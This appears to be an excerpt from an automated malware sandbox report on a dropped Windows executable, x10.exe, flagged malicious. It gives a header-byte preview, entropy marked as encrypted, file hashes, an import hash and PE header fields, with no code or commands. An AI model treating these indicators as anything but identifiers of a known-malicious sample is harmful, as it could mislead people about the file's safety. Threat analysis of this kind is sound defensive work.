Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q..................................... ....@.......................................................................... ..P.......X............................................................................ ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...X...........................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Users\user\AppData\Local\Temp\x10.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11985408
Entropy (8bit):	7.999933254644437
Encrypted:	true
SSDEEP:	196608:RV604HzLIbh0dwgGG/dCoeDrFj9NyL+CYqOsS1wYEkICqksEy7ptOKdvQH1HXkLZ:RVwLIWC2Jetxw+Ck1zUCPsFtDKH1349/
MD5:	7E5F18A5C7EB009E54AE4FC6127E864C
SHA1:	E9217D8F28DE469A091CE420C5F74ABD5E77AE92
SHA-256:	60F981607FDD0547FA8AFB700FBFC0CC8FCAC163BC819E36BBD859CE5594B016
SHA-512:	2A4EF3C3C13A59CA681E189B662952583F5D124BD7CB5F8690AA30C44871FDA2DB9839B55BC26E0E53AF7F0447E910D405A3693AACBD214E13A62B13F11061ED
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.................................... ....@......................................................................... ..P................................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc.............................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Entrypoint:	0x401ae1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x51BC99EC [Sat Jun 15 16:44:28 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d5d9d937853db8b666bd4b525813d7bd